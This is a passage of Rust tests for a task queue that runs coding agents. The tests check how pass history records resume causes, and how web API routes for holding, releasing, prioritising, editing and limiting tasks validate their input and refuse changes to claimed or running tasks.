16682 recorded_pass(1, None),
16683 ];
16684 });
16685 let mut b = flow_run(RunStatus::Failed, |s| {
16686 s.passes = vec![recorded_pass(0, None)];
16687 });
16688 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16689 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16690 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16691 let mut task = flow_task(&[]);
16692 task.start("a".into());
16693 task.start("b".into());
16694 task.start("a".into());
16695 assert_eq!(task.runs, ["b", "a"]);
16696 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16697 let h = task_history(&task, |id| {
16698 Some(if id == "a" { a.clone() } else { b.clone() })
16699 });
16700 assert_eq!(
16701 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16702 ["a", "b", "a"]
16703 );
16704 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16705 assert!(h[0].outcome.contains("upgrade"));
16706 assert_eq!(h[2].kind, "resume");
16707 assert!(h[2].pass.is_some());
16708 task.runs = vec!["a".into(), "b".into(), "a".into()];
16710 let old = task_history(&task, |id| {
16711 Some(if id == "a" { a.clone() } else { b.clone() })
16712 });
16713 assert_eq!(
16714 old.iter()
16715 .map(|v| (&v.id, &v.kind, v.attempt))
16716 .collect::<Vec<_>>(),
16717 h.iter()
16718 .map(|v| (&v.id, &v.kind, v.attempt))
16719 .collect::<Vec<_>>()
16720 );
16721 }
16722
16723 #[test]
16724 fn an_upgrade_whose_target_was_not_known_says_so() {
16725 let run = flow_run(RunStatus::Implementing, |s| {
16726 s.passes = vec![
16727 recorded_pass(
16728 0,
16729 parked(crate::run::ParkCause::Upgrade {
16730 from: "0.121.0".to_owned(),
16731 to: None,
16732 }),
16733 ),
16734 recorded_pass(1, None),
16735 ];
16736 });
16737 let task = flow_task(&[RUN_X, RUN_X]);
16738 let h = task_history(&task, |_| Some(run.clone()));
16739 assert!(
16740 h[0].outcome.contains("upgrade from 0.121.0"),
16741 "{}",
16742 h[0].outcome
16743 );
16744 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16746 }
16747
16748 #[test]
16749 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16750 use crate::queue::PassCost;
16751 use crate::run::ParkCause;
16752 let run = flow_run(RunStatus::Implementing, |s| {
16753 s.passes = vec![
16754 recorded_pass(0, parked(upgrade_cause())),
16755 recorded_pass(
16756 1,
16757 parked(ParkCause::Interrupt {
16758 reason: "task a1b2 asked to run first".to_owned(),
16759 }),
16760 ),
16761 recorded_pass(2, parked(ParkCause::Operator)),
16762 recorded_pass(3, None),
16763 ];
16764 });
16765 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16766 task.attempts = 1;
16767 task.passes = (0..3)
16768 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16769 .collect();
16770 let h = task_history(&task, |_| Some(run.clone()));
16771 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16772 assert!(
16773 h[1].outcome.contains("task a1b2 asked to run first"),
16774 "{}",
16775 h[1].outcome
16776 );
16777 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16778 assert!(
16779 h[2].outcome.contains("operator asked the loop to park"),
16780 "{}",
16781 h[2].outcome
16782 );
16783 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16784 let f = task_flow(&task, &h, 2, None);
16785 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16786 }
16787
16788 #[test]
16789 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16790 let run = flow_run(RunStatus::Implementing, |s| {
16791 s.passes = vec![
16792 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16793 recorded_pass(1, None),
16794 ];
16795 });
16796 let task = flow_task(&[RUN_X, RUN_X]);
16797 let h = task_history(&task, |_| Some(run.clone()));
16798 assert_eq!(h[0].exit, RunExit::Interrupted);
16799 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16800 assert!(
16801 h[0].outcome.contains("without recording why"),
16802 "{}",
16803 h[0].outcome
16804 );
16805 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16806 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16807 }
16808
16809 #[test]
16810 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16811 use crate::queue::PassCost;
16812 let run = flow_run(RunStatus::Implementing, |s| {
16815 s.passes = vec![
16816 recorded_pass(0, parked(upgrade_cause())),
16817 recorded_pass(1, None),
16818 ];
16819 });
16820 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16821 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16822 let h = task_history(&task, |_| Some(run.clone()));
16823 assert!(h[0].pass.is_none());
16824 assert_eq!(h[0].exit, RunExit::Interrupted);
16825 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16826 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16827 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16828 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16829 let legacy = flow_run(RunStatus::Implementing, |_| {});
16831 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16832 assert!(h.iter().all(|v| v.pass.is_none()));
16833 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16834 }
16835
16836 #[test]
16837 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16838 use crate::queue::PassCost;
16839 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16842 web.task_entry = false;
16843 let run = flow_run(RunStatus::Implementing, |s| {
16844 s.passes = vec![
16845 recorded_pass(0, parked(upgrade_cause())),
16846 web.clone(),
16847 recorded_pass(2, None),
16848 ];
16849 });
16850 let mut task = flow_task(&[RUN_X, RUN_X]);
16851 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16852 let h = task_history(&task, |_| Some(run.clone()));
16853 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16854 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16855
16856 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16859 web0.task_entry = false;
16860 let run = flow_run(RunStatus::Implementing, |s| {
16861 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16862 });
16863 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16864 assert!(h[0].pass.is_none());
16865 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16866 assert!(h[1].pass.is_some());
16867 }
16868
16869 #[tokio::test]
16870 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16871 let dir = tempfile::tempdir().unwrap();
16872 let queue = Queue::at(dir.path().join("queue"));
16873 let ui = Arc::new(Ui::new(
16874 queue.clone(),
16875 Questions::at(dir.path().join("questions")),
16876 Talks::at(dir.path().join("talks")),
16877 dir.path().join("runs"),
16878 dir.path().to_path_buf(),
16879 dir.path().to_path_buf(),
16880 ));
16881 let mut t = Task::new(
16882 "recover".into(),
16883 "Inspect".into(),
16884 PathBuf::from("."),
16885 Source::Human,
16886 );
16887 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16888 t.start("run-A".into());
16889 t.release_operator("choice", Some("resume-question"));
16890 t.resume_override = Some(crate::queue::OperatorResume {
16891 question_id: "resume-question".into(),
16892 at: jiff::Timestamp::now(),
16893 conductor_rehold: None,
16894 forced: true,
16895 pinned_run: Some("run-A".into()),
16896 });
16897 t.hold_machine(Some("inspection pending".into()));
16898 t.edit("recover".into(), "Reuse approved PR head".into())
16899 .unwrap();
16900 queue.put(&mut t).unwrap();
16901 let mut cli = t.clone();
16902 cli.release_operator("cli", None);
16903 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16904 let reloaded = queue.get(&t.id).unwrap();
16905 assert_eq!(reply.task.status, TaskStatus::Queued);
16906 assert!(reloaded.resume_override.is_none());
16907 assert_eq!(reloaded.answers, t.answers);
16908 let mut web = reloaded.resumption.unwrap();
16909 let cli = cli.resumption.unwrap();
16910 assert_eq!(web.source, "web");
16911 web.source = cli.source.clone();
16912 web.at = cli.at;
16913 assert_eq!(web, cli);
16914 }
16915
16916 #[tokio::test]
16917 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16918 let f = Fixture::start().await;
16919 let queue = f.queue();
16920 let mut task = Task::new(
16921 "spent".to_owned(),
16922 "Try again".to_owned(),
16923 PathBuf::from("/repo/magi"),
16924 Source::Human,
16925 );
16926 task.start("20260902-140502-bbbb".to_owned());
16927 task.fail("agent gave up", 9);
16928 queue.put(&mut task).expect("file the task");
16929
16930 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16931 assert_eq!(held.status, 200);
16932 assert_eq!(held.json()["status_str"], "held");
16933
16934 let released = f
16935 .post(&format!("/api/queue/{}/release", task.id), None)
16936 .await;
16937 assert_eq!(released.status, 200);
16938 assert_eq!(released.json()["status_str"], "queued");
16939 assert_eq!(released.json()["resumption"]["source"], "web");
16940 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16941 let mut cli = task.clone();
16942 cli.release_operator("cli", None);
16943 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16944 let cli = cli.resumption.unwrap();
16945 assert_eq!(web.instruction, cli.instruction);
16946 assert_eq!(web.answers_through, cli.answers_through);
16947 assert_eq!(web.runs_through, cli.runs_through);
16948 assert_eq!(web.cleared_reason, cli.cleared_reason);
16949 assert_eq!(
16950 released.json()["attempts"],
16951 0,
16952 "release is a real second chance, not an instant re-hold"
16953 );
16954 assert_eq!(
16955 queue.get(&task.id).expect("reload").status,
16956 TaskStatus::Queued,
16957 "the change is on disk, not only in the reply"
16958 );
16959 assert!(
16960 !f.home
16961 .path()
16962 .join("queue")
16963 .join(format!("{}.lock", task.id))
16964 .exists(),
16965 "the claim the mutation took is released again"
16966 );
16967 }
16968
16969 #[tokio::test]
16970 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16971 let f = Fixture::start().await;
16972 let queue = f.queue();
16973 let mut task = Task::new(
16974 "busy".to_owned(),
16975 "Running right now".to_owned(),
16976 PathBuf::from("/repo/magi"),
16977 Source::Human,
16978 );
16979 queue.put(&mut task).expect("file the task");
16980 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16981
16982 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16983
16984 assert_eq!(res.status, 409);
16985 assert_eq!(
16986 queue.get(&task.id).expect("reload").status,
16987 TaskStatus::Queued,
16988 "the refused hold changed nothing"
16989 );
16990 }
16991
16992 #[tokio::test]
16993 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16994 let f = Fixture::start().await;
16995 let queue = f.queue();
16996 let mut task = Task::new(
16997 "waiting on the migration".to_owned(),
16998 "Do the thing".to_owned(),
16999 PathBuf::from("/repo/magi"),
17000 Source::Human,
17001 );
17002 queue.put(&mut task).expect("file the task");
17003
17004 let held = f
17005 .post(
17006 &format!("/api/queue/{}/hold", task.id),
17007 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17008 )
17009 .await;
17010 assert_eq!(held.status, 200, "{}", held.body);
17011 assert_eq!(held.json()["status_str"], "held");
17012 assert_eq!(
17013 held.json()["hold_reason"],
17014 "waiting for 20260101-000000-aaaa to land"
17015 );
17016
17017 let listed = f.get("/api/queue").await.json();
17018 assert_eq!(
17019 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17020 "the card reads the reason off the same list route"
17021 );
17022
17023 let mut plain = Task::new(
17026 "no reason given".to_owned(),
17027 "Do another thing".to_owned(),
17028 PathBuf::from("/repo/magi"),
17029 Source::Human,
17030 );
17031 queue.put(&mut plain).expect("file the task");
17032 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17033 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17034 assert!(held_plain.json()["hold_reason"].is_null());
17035
17036 let released = f
17037 .post(&format!("/api/queue/{}/release", task.id), None)
17038 .await;
17039 assert_eq!(released.status, 200);
17040 assert!(
17041 released.json()["hold_reason"].is_null(),
17042 "a release must clear the reason so the next hold does not inherit it"
17043 );
17044 }
17045
17046 #[test]
17047 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17048 for urgent in [true, false] {
17049 let body: UrgentBody =
17050 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17051 assert_eq!(body.urgent, urgent);
17052 }
17053 for input in [
17054 r#"{}"#,
17055 r#"{"urgent":null}"#,
17056 r#"{"urgent":"true"}"#,
17057 r#"{"urgent":1}"#,
17058 r#"{"urgent":true,"extra":false}"#,
17059 ] {
17060 assert!(
17061 serde_json::from_str::<UrgentBody>(input).is_err(),
17062 "{input}"
17063 );
17064 }
17065 }
17066
17067 #[tokio::test]
17068 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17069 let home = TempDir::new().unwrap();
17070 let q = Queue::at(home.path().join("queue"));
17071 let ui = Arc::new(Ui::new(
17072 q.clone(),
17073 Questions::at(home.path().join("questions")),
17074 Talks::at(home.path().join("talks")),
17075 home.path().join("runs"),
17076 home.path().into(),
17077 home.path().into(),
17078 ));
17079 let mut task = Task::new(
17080 "urgent handler".into(),
17081 "keep".into(),
17082 home.path().into(),
17083 Source::Human,
17084 );
17085 for status in [TaskStatus::Queued, TaskStatus::Held] {
17086 task.status = status;
17087 q.put(&mut task).unwrap();
17088 for urgent in [true, true, false, false] {
17089 let saved = queue_urgent(
17090 State(Arc::clone(&ui)),
17091 Path(task.short().into()),
17092 Ok(Json(UrgentBody { urgent })),
17093 )
17094 .await
17095 .unwrap();
17096 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17097 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17098 }
17099 }
17100 task.status = TaskStatus::Queued;
17101 q.put(&mut task).unwrap();
17102 let claim = q.claim(&task.id).unwrap();
17103 let error = queue_urgent(
17104 State(Arc::clone(&ui)),
17105 Path(task.id.clone()),
17106 Ok(Json(UrgentBody { urgent: true })),
17107 )
17108 .await
17109 .unwrap_err();
17110 assert_eq!(error.status, StatusCode::CONFLICT);
17111 assert!(error.message.contains("released"));
17112 drop(claim);
17113 for status in [
17114 TaskStatus::Running,
17115 TaskStatus::Done,
17116 TaskStatus::Failed,
17117 TaskStatus::Blocked,
17118 TaskStatus::Parked,
17119 ] {
17120 task.status = status;
17121 q.put(&mut task).unwrap();
17122 let error = queue_urgent(
17123 State(Arc::clone(&ui)),
17124 Path(task.id.clone()),
17125 Ok(Json(UrgentBody { urgent: false })),
17126 )
17127 .await
17128 .unwrap_err();
17129 assert_eq!(error.status, StatusCode::BAD_REQUEST);
17130 assert!(error.message.contains(status.as_str()));
17131 }
17132 }
17133
17134 #[tokio::test]
17135 async fn urgent_api_updates_preserves_and_validates_tasks() {
17136 let f = Fixture::start().await;
17137 let q = f.queue();
17138 let mut t = Task::new(
17139 "urgent API".into(),
17140 "unchanged".into(),
17141 PathBuf::from("/repo/magi"),
17142 Source::Human,
17143 );
17144 t.attempts = 2;
17145 t.priority = 9;
17146 t.interrupt = true;
17147 t.hold_reason = Some("waiting for approval".into());
17148 for status in [TaskStatus::Queued, TaskStatus::Held] {
17149 t.status = status;
17150 q.put(&mut t).unwrap();
17151 for urgent in [true, true, false, false] {
17152 let response = f
17153 .post(
17154 &format!("/api/queue/{}/urgent", t.short()),
17155 Some(&format!("{{\"urgent\":{urgent}}}")),
17156 )
17157 .await;
17158 assert_eq!(response.status, 200, "{}", response.body);
17159 assert_eq!(response.json()["urgent"], urgent);
17160 let saved = q.get(&t.id).unwrap();
17161 let mut before = serde_json::to_value(&t).unwrap();
17162 let mut after = serde_json::to_value(saved).unwrap();
17163 before["urgent"] = urgent.into();
17164 before.as_object_mut().unwrap().remove("updated_at");
17165 after.as_object_mut().unwrap().remove("updated_at");
17166 assert_eq!(after, before);
17167 }
17168 }
17169 let route = format!("/api/queue/{}/urgent", t.id);
17170 for body in [
17171 r#"{}"#,
17172 r#"{"urgent":null}"#,
17173 r#"{"urgent":"true"}"#,
17174 r#"{"urgent":1}"#,
17175 r#"{"urgent":true,"extra":false}"#,
17176 "{",
17177 ] {
17178 assert_eq!(f.post(&route, Some(body)).await.status, 400);
17179 }
17180 t.status = TaskStatus::Queued;
17181 q.put(&mut t).unwrap();
17182 let claim = q.claim(&t.id).unwrap();
17183 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17184 assert_eq!(response.status, 409, "{}", response.body);
17185 assert!(!q.get(&t.id).unwrap().urgent);
17186 drop(claim);
17187 for status in [
17188 TaskStatus::Running,
17189 TaskStatus::Done,
17190 TaskStatus::Failed,
17191 TaskStatus::Blocked,
17192 TaskStatus::Parked,
17193 ] {
17194 t.status = status;
17195 q.put(&mut t).unwrap();
17196 for urgent in [true, false] {
17197 let response = f
17198 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17199 .await;
17200 assert_eq!(response.status, 400, "{}", response.body);
17201 assert!(response.body.contains(status.as_str()));
17202 assert!(response.body.contains("queued or held"));
17203 assert!(!q.get(&t.id).unwrap().urgent);
17204 }
17205 }
17206 assert_eq!(
17207 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17208 .await
17209 .status,
17210 404
17211 );
17212 }
17213
17214 #[tokio::test]
17215 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17216 let f = Fixture::start().await;
17217 let queue = f.queue();
17218 let mut older = Task::new(
17219 "filed first".to_owned(),
17220 "x".to_owned(),
17221 PathBuf::from("/repo/magi"),
17222 Source::Human,
17223 );
17224 older.id = "20260101-000001-aaaa".to_owned();
17225 let mut newer = Task::new(
17226 "filed second".to_owned(),
17227 "x".to_owned(),
17228 PathBuf::from("/repo/magi"),
17229 Source::Human,
17230 );
17231 newer.id = "20260101-000002-bbbb".to_owned();
17232 queue.put(&mut older).expect("file older");
17233 queue.put(&mut newer).expect("file newer");
17234
17235 let before = f.get("/api/queue").await.json();
17238 assert_eq!(before[0]["id"], newer.id);
17239 assert_eq!(before[1]["id"], older.id);
17240
17241 let raised = f
17245 .post(
17246 &format!("/api/queue/{}/priority", older.id),
17247 Some(r#"{"priority":10}"#),
17248 )
17249 .await;
17250 assert_eq!(raised.status, 200, "{}", raised.body);
17251 assert_eq!(raised.json()["priority"], 10);
17252
17253 let after = f.get("/api/queue").await.json();
17254 let names: Vec<&str> = after
17255 .as_array()
17256 .unwrap()
17257 .iter()
17258 .map(|t| t["id"].as_str().unwrap())
17259 .collect();
17260 assert_eq!(names[0], older.id, "the raised task now sorts first");
17264 }
17265
17266 #[tokio::test]
17267 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17268 let dir = TempDir::new().unwrap();
17269 let q = Queue::at(dir.path().join("queue"));
17270 let ui = Arc::new(Ui::new(
17271 q.clone(),
17272 Questions::at(dir.path().join("questions")),
17273 Talks::at(dir.path().join("talks")),
17274 dir.path().join("runs"),
17275 dir.path().to_path_buf(),
17276 dir.path().to_path_buf(),
17277 ));
17278 let mut t = Task::new(
17279 "budget".into(),
17280 "keep".into(),
17281 dir.path().into(),
17282 Source::Human,
17283 );
17284 t.attempts = 2;
17285 t.runs.push("prior-run".into());
17286 t.hold_manual(Some("waiting".into()));
17287 q.put(&mut t).unwrap();
17288 let change = |value| {
17289 queue_attempt_limit(
17290 State(ui.clone()),
17291 Path(t.id.clone()),
17292 Ok(Json(AttemptLimitBody {
17293 attempt_limit: value,
17294 })),
17295 )
17296 };
17297 for value in [
17298 serde_json::json!(3),
17299 serde_json::Value::Null,
17300 serde_json::json!(1),
17301 ] {
17302 let response = change(value.clone()).await.unwrap();
17303 assert_eq!(
17304 serde_json::to_value(response.0).unwrap()["attempt_limit"],
17305 value
17306 );
17307 let saved = q.get(&t.id).unwrap();
17308 assert_eq!(
17309 serde_json::to_value(&saved).unwrap()["attempt_limit"],
17310 value
17311 );
17312 assert_eq!(saved.status, TaskStatus::Held);
17313 assert_eq!(saved.attempts, t.attempts);
17314 assert_eq!(saved.runs, t.runs);
17315 assert_eq!(saved.hold_reason, t.hold_reason);
17316 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17317 .await
17318 .unwrap()
17319 .0;
17320 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17321 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17322 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17323 assert_eq!(outcome.max_attempts, detail.max_attempts);
17324 }
17325 for value in [
17326 serde_json::json!(0),
17327 serde_json::json!(-1),
17328 serde_json::json!(1.5),
17329 serde_json::json!("3"),
17330 serde_json::json!(true),
17331 ] {
17332 assert_eq!(
17333 change(value).await.err().unwrap().status,
17334 StatusCode::BAD_REQUEST
17335 );
17336 }
17337 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17338 let claim = q.claim(&t.id).unwrap();
17339 assert_eq!(
17340 change(serde_json::json!(4)).await.err().unwrap().status,
17341 StatusCode::CONFLICT
17342 );
17343 drop(claim);
17344 for status in [
17345 TaskStatus::Running,
17346 TaskStatus::Done,
17347 TaskStatus::Failed,
17348 TaskStatus::Blocked,
17349 TaskStatus::Parked,
17350 ] {
17351 let mut stored = q.get(&t.id).unwrap();
17352 stored.status = status;
17353 q.put(&mut stored).unwrap();
17354 assert_eq!(
17355 change(serde_json::json!(4)).await.err().unwrap().status,
17356 StatusCode::BAD_REQUEST
17357 );
17358 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17359 }
17360 let mut stored = q.get(&t.id).unwrap();
17361 stored.status = TaskStatus::Queued;
17362 q.put(&mut stored).unwrap();
17363 let _ = change(serde_json::Value::Null).await.unwrap();
17364 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17365 }
17366
17367 #[tokio::test]
17368 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17369 let dir = TempDir::new().unwrap();
17370 let repo = dir.path().join("repo");
17371 std::fs::create_dir(&repo).unwrap();
17372 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17373 let q = Queue::at(dir.path().join("queue"));
17374 let ui = Arc::new(Ui::new(
17375 q.clone(),
17376 Questions::at(dir.path().join("questions")),
17377 Talks::at(dir.path().join("talks")),
17378 dir.path().join("runs"),
17379 dir.path().to_path_buf(),
17380 repo.clone(),
17381 ));
17382 let mut t = Task::new(
17383 "seats".into(),
17384 "keep instruction".into(),
17385 repo,
17386 Source::Human,
17387 );
17388 t.runs.push("prior-run".into());
17389 t.hold_manual(Some("waiting".into()));
17390 q.put(&mut t).unwrap();
17391 let change = |count| {
17392 queue_implementers(
17393 State(ui.clone()),
17394 Path(t.id.clone()),
17395 Ok(Json(ImplementersBody {
17396 implementers: count,
17397 })),
17398 )
17399 };
17400 for count in [2, 1, 2] {
17401 let response = change(count).await.unwrap();
17402 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17403 let saved = q.get(&t.id).unwrap();
17404 assert_eq!(saved.implementers(), Some(usize::from(count)));
17405 assert_eq!(saved.runs, t.runs);
17406 assert_eq!(saved.instruction, t.instruction);
17407 }
17408 for count in [0, 4] {
17409 assert_eq!(
17410 change(count).await.err().unwrap().status,
17411 StatusCode::BAD_REQUEST
17412 );
17413 }
17414 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17415 let claim = q.claim(&t.id).unwrap();
17416 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17417 drop(claim);
17418 for status in [
17419 TaskStatus::Running,
17420 TaskStatus::Done,
17421 TaskStatus::Failed,
17422 TaskStatus::Blocked,
17423 TaskStatus::Parked,
17424 ] {
17425 let mut stored = q.get(&t.id).unwrap();
17426 stored.status = status;
17427 q.put(&mut stored).unwrap();
17428 assert_eq!(
17429 change(1).await.err().unwrap().status,
17430 StatusCode::BAD_REQUEST
17431 );
17432 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17433 }
17434 }
17435
17436 #[tokio::test]
17437 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17438 let f = Fixture::start().await;
17439 let queue = f.queue();
17440 let mut task = Task::new(
17441 "in flight".to_owned(),
17442 "x".to_owned(),
17443 PathBuf::from("/repo/magi"),
17444 Source::Human,
17445 );
17446 task.start("20260902-140502-bbbb".to_owned());
17447 queue.put(&mut task).expect("file the task");
17448
17449 let res = f
17450 .post(
17451 &format!("/api/queue/{}/priority", task.id),
17452 Some(r#"{"priority":9}"#),
17453 )
17454 .await;
17455 assert_eq!(res.status, 400, "{}", res.body);
17456 assert!(
17457 res.json()["error"]
17458 .as_str()
17459 .is_some_and(|e| e.contains("running")),
17460 "{}",
17461 res.body
17462 );
17463 assert_eq!(
17464 queue.get(&task.id).expect("reload").priority,
17465 0,
17466 "the refused write must not partially apply"
17467 );
17468 }
17469
17470 #[tokio::test]
17471 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17472 let f = Fixture::start().await;
17473 let queue = f.queue();
17474 let mut task = Task::new(
17475 "old title".to_owned(),
17476 "old instruction".to_owned(),
17477 PathBuf::from("/repo/magi"),
17478 Source::Agent {
17479 run: "20260101-000000-beef".to_owned(),
17480 node: "implement".to_owned(),
17481 },
17482 );
17483 task.runs.push("20260101-000000-beef".to_owned());
17484 queue.put(&mut task).expect("file the task");
17485 let created_at = task.created_at;
17486
17487 let edited = f
17488 .post(
17489 &format!("/api/queue/{}/edit", task.id),
17490 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17491 )
17492 .await;
17493 assert_eq!(edited.status, 200, "{}", edited.body);
17494 let body = edited.json();
17495 assert_eq!(body["title"], "new title");
17496 assert_eq!(body["instruction"], "new instruction");
17497 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17498 assert_eq!(body["created_at"], created_at.to_string());
17499 assert_eq!(
17500 body["source"]["kind"], "agent",
17501 "editing a task an agent filed must not turn it human: {body}"
17502 );
17503 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17504
17505 let reloaded = queue.get(&task.id).expect("reload");
17506 assert_eq!(reloaded.title, "new title");
17507 assert_eq!(reloaded.instruction, "new instruction");
17508 }
17509
17510 #[tokio::test]
17511 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17512 let tmp = TempDir::new().expect("tempdir");
17515 let repo = tmp.path().join("repo");
17516 std::fs::create_dir_all(&repo).expect("repo dir");
17517 let judge = MOCK_AGENT_TOML.replace(
17518 "printf ok",
17519 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17520 );
17521 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17522 let f = Fixture::with_repo(repo.clone()).await;
17523 let queue = f.queue();
17524 let mut owner = Task::new(
17525 "owner".to_owned(),
17526 "review it".to_owned(),
17527 repo.clone(),
17528 Source::Human,
17529 );
17530 owner.review_branch = Some("magi/ab12/A".to_owned());
17531 queue.put(&mut owner).expect("file the owner");
17532 let mut task = Task::new(
17533 "draft".to_owned(),
17534 "old".to_owned(),
17535 repo.clone(),
17536 Source::Human,
17537 );
17538 queue.put(&mut task).expect("file the draft");
17539 let url = format!("/api/queue/{}/edit", task.id);
17540
17541 let refused = f
17542 .post(
17543 &url,
17544 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17545 )
17546 .await;
17547 assert_eq!(refused.status, 409, "{}", refused.body);
17548 let msg = refused.json()["error"]
17549 .as_str()
17550 .unwrap_or_default()
17551 .to_owned();
17552 assert!(
17553 msg.contains("magi/ab12/A") && msg.contains("force"),
17554 "{msg}"
17555 );
17556 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17557
17558 let forced = f
17559 .post(
17560 &url,
17561 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17562 )
17563 .await;
17564 assert_eq!(forced.status, 200, "{}", forced.body);
17565 }
17566
17567 #[tokio::test]
17568 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17569 let f = Fixture::start().await;
17570 let queue = f.queue();
17571 let mut task = Task::new(
17572 "in flight".to_owned(),
17573 "do not touch".to_owned(),
17574 PathBuf::from("/repo/magi"),
17575 Source::Human,
17576 );
17577 task.start("20260902-140502-bbbb".to_owned());
17578 queue.put(&mut task).expect("file the task");
17579
17580 let res = f
17581 .post(
17582 &format!("/api/queue/{}/edit", task.id),
17583 Some(r#"{"title":"x","instruction":"y"}"#),
17584 )
17585 .await;
17586 assert_eq!(res.status, 400, "{}", res.body);
17587 assert!(
17588 res.json()["error"]
17589 .as_str()
17590 .is_some_and(|e| e.contains("running")),
17591 "{}",
17592 res.body
17593 );
17594 assert_eq!(
17595 queue.get(&task.id).expect("reload").instruction,
17596 "do not touch",
17597 "the refused edit must not change the file"
17598 );
17599 }
17600
17601 #[tokio::test]
17602 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17603 let f = Fixture::start().await;
17604 let queue = f.queue();
17605 let mut task = Task::new(
17606 "busy".to_owned(),
17607 "Running right now".to_owned(),
17608 PathBuf::from("/repo/magi"),
17609 Source::Human,
17610 );
17611 queue.put(&mut task).expect("file the task");
17612 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17613
17614 let priority = f
17615 .post(
17616 &format!("/api/queue/{}/priority", task.id),
17617 Some(r#"{"priority":9}"#),
17618 )
